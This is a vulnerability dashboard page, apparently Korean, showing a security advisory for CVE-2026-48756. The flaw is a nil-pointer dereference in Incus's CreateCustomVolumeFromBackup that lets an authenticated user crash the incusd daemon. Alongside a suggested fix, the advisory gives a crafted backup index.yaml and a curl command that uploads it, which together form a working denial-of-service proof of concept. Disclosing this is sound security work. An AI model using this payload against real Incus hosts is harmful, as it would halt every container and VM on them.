Kestrel
대시보드로 돌아가기
CVE-2026-48756LOWGHSA대응게시일: 2026. 06. 26.수정일: 2026. 06. 26.

Incus: CreateCustomVolumeFromBackup nil-pointer dereference on volume_snapshots[*].expires_at (sibling-field variant of GHSA-r7w7)

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
low

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Summary

(*backend).CreateCustomVolumeFromBackup in internal/server/storage/backend.go contains an unguarded *time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with can_create_storage_volumes permission on any project can crash the incusd daemon by uploading a backup tarball whose volume_snapshots[*].expires_at field is absent.

This is a sibling-field variant of GHSA-r7w7-mmxr-47r9 (CVE-2026-40197). Commit 985a1dedf9f3e7ba729c93b654905ed510de25c2 added if s == nil at the top of the loop body, but did not guard the adjacent *snapshot.ExpiresAt deref 19 lines later. Every other consumer of Config.VolumeSnapshots[i].ExpiresAt in this same file already gates the deref with a nil-check — the asymmetric guard is the bug.

Vulnerable code

internal/server/storage/backend.go, CreateCustomVolumeFromBackup:

text
1// Line 7710-7714 — the parent fix from GHSA-r7w7
2for _, s := range srcBackup.Config.VolumeSnapshots {
3 if s == nil {
4 return errors.New("Bad snapshot definition found in index")
5 }
6 snapshot := s
7 snapName := snapshot.Name
8 // ...
9 // Line 7731 — UNGUARDED *time.Time deref:
10 err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,
11 snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,
12 *snapshot.ExpiresAt, // <-- panics when expires_at omitted in YAML
13 snapVol.ContentType(), true, true)

ExpiresAt is declared *time.Time (shared/api/storage_pool_volume_snapshot.go:21,88). Every other consumer in the same file already uses the safe pattern:

LineCodeGuarded?
909-910CreateInstanceFromBackupYES
1134-1135refresh pathYES
1422-1423migration pathYES
7731CreateCustomVolumeFromBackupNO

Reach

  1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the can_create_storage_volumes entitlement on any project. Same auth gate as parent GHSA-r7w7.
  2. POST /1.0/storage-pools/<pool>/volumes/custom with Content-Type: application/octet-stream and X-Incus-name: <name>.
  3. Body is a tar containing backup/index.yaml with type: custom, a non-nil volume: block, and volume_snapshots: [{name: snap0}] (no expires_at field).
  4. cmd/incusd/storage_volumes.go:storagePoolVolumesPost -> backup.GetInfo parses the yaml -> pool.CreateCustomVolumeFromBackup -> the s == nil guard at 7712 passes (snapshot pointer is non-nil) -> *snapshot.ExpiresAt on line 7731 panics on the nil *time.Time.
  5. No recover() is installed in the operation runner, so the panic kills the entire incusd process. Repeated POSTs are a persistent denial of service.

Minimal backup/index.yaml:

bash
1name: poc-vol
2backend: dir
3pool: default
4type: custom
5optimized: false
6optimized_header: false
7snapshots: [snap0]
8config:
9 volume: {name: poc-vol, type: custom, content_type: filesystem, config: {}}
10 volume_snapshots:
11 - name: snap0
12 description: snap0
13 config: {}
14 # expires_at intentionally omitted

Proof of concept (end-to-end against running daemon)

Bundled in the report: make_backup.sh + the resulting 479-byte poc-vol.tar.gz.

Tested against incus 7.0.0 (zabbly latest GA at time of report; build 1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with the default dir storage pool.

bash
1$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \
2 --data-binary @/tmp/poc-vol.tar.gz \
3 -H 'Content-Type: application/octet-stream' \
4 -H 'X-Incus-name: poc-vol' \
5 http://incus/1.0/storage-pools/default/volumes/custom
6{"type":"async","status":"Operation created","status_code":100,...}
7
8$ ps -ef | grep incusd | grep -v grep # process is GONE

Daemon panic from /tmp/incus.out:

text
1panic: runtime error: invalid memory address or nil pointer dereference
2[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x162b938]
3
4goroutine 422 [running]:
5github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...)
6 /build/incus/internal/server/storage/backend.go:7731 +0xb48
7main.createStoragePoolVolumeFromBackup.func7(...)
8 /build/incus/cmd/incusd/storage_volumes.go:2915 +0x290
9github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)
10 /build/incus/internal/server/operations/operations.go:307 +0x2c
11created by github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start in goroutine 408
12 /build/incus/internal/server/operations/operations.go:306 +0x168

Stack frame backend.go:7731 is the literal *snapshot.ExpiresAt line. Same line in v6.0.x LTS is backend.go:7271 (also panics; v6.0.x additionally lacks the s == nil parent fix so a single nil snapshot pointer also panics there).

Impact

  • Severity: denial of service against the entire incusd process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.
  • Privileges required: any authenticated user with can_create_storage_volumes on any project. Not behind the admin tier.
  • Network attack surface: the Incus REST API on :8443 or the unix socket.
  • CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Suggested fix

Mirror the guard pattern already in use at lines 909-910 / 1134-1135 / 1422-1423:

text
1--- a/internal/server/storage/backend.go
2+++ b/internal/server/storage/backend.go
3@@ -7728,9 +7728,14 @@ func (b *backend) CreateCustomVolumeFromBackup(...) error {
4 snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config)
5
6 // Validate config and create database entry for new storage volume.
7 // Strip unsupported config keys (in case the export was made from a different type of storage pool).
8- err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
9+ var snapExpiryDate time.Time
10+ if snapshot.ExpiresAt != nil {
11+ snapExpiryDate = *snapshot.ExpiresAt
12+ }
13+
14+ err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)
15 if err != nil {
16 return err
17 }

Reporter notes

Reported via Privately-Reported Vulnerability against lxc/incus by tonghuaroot.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.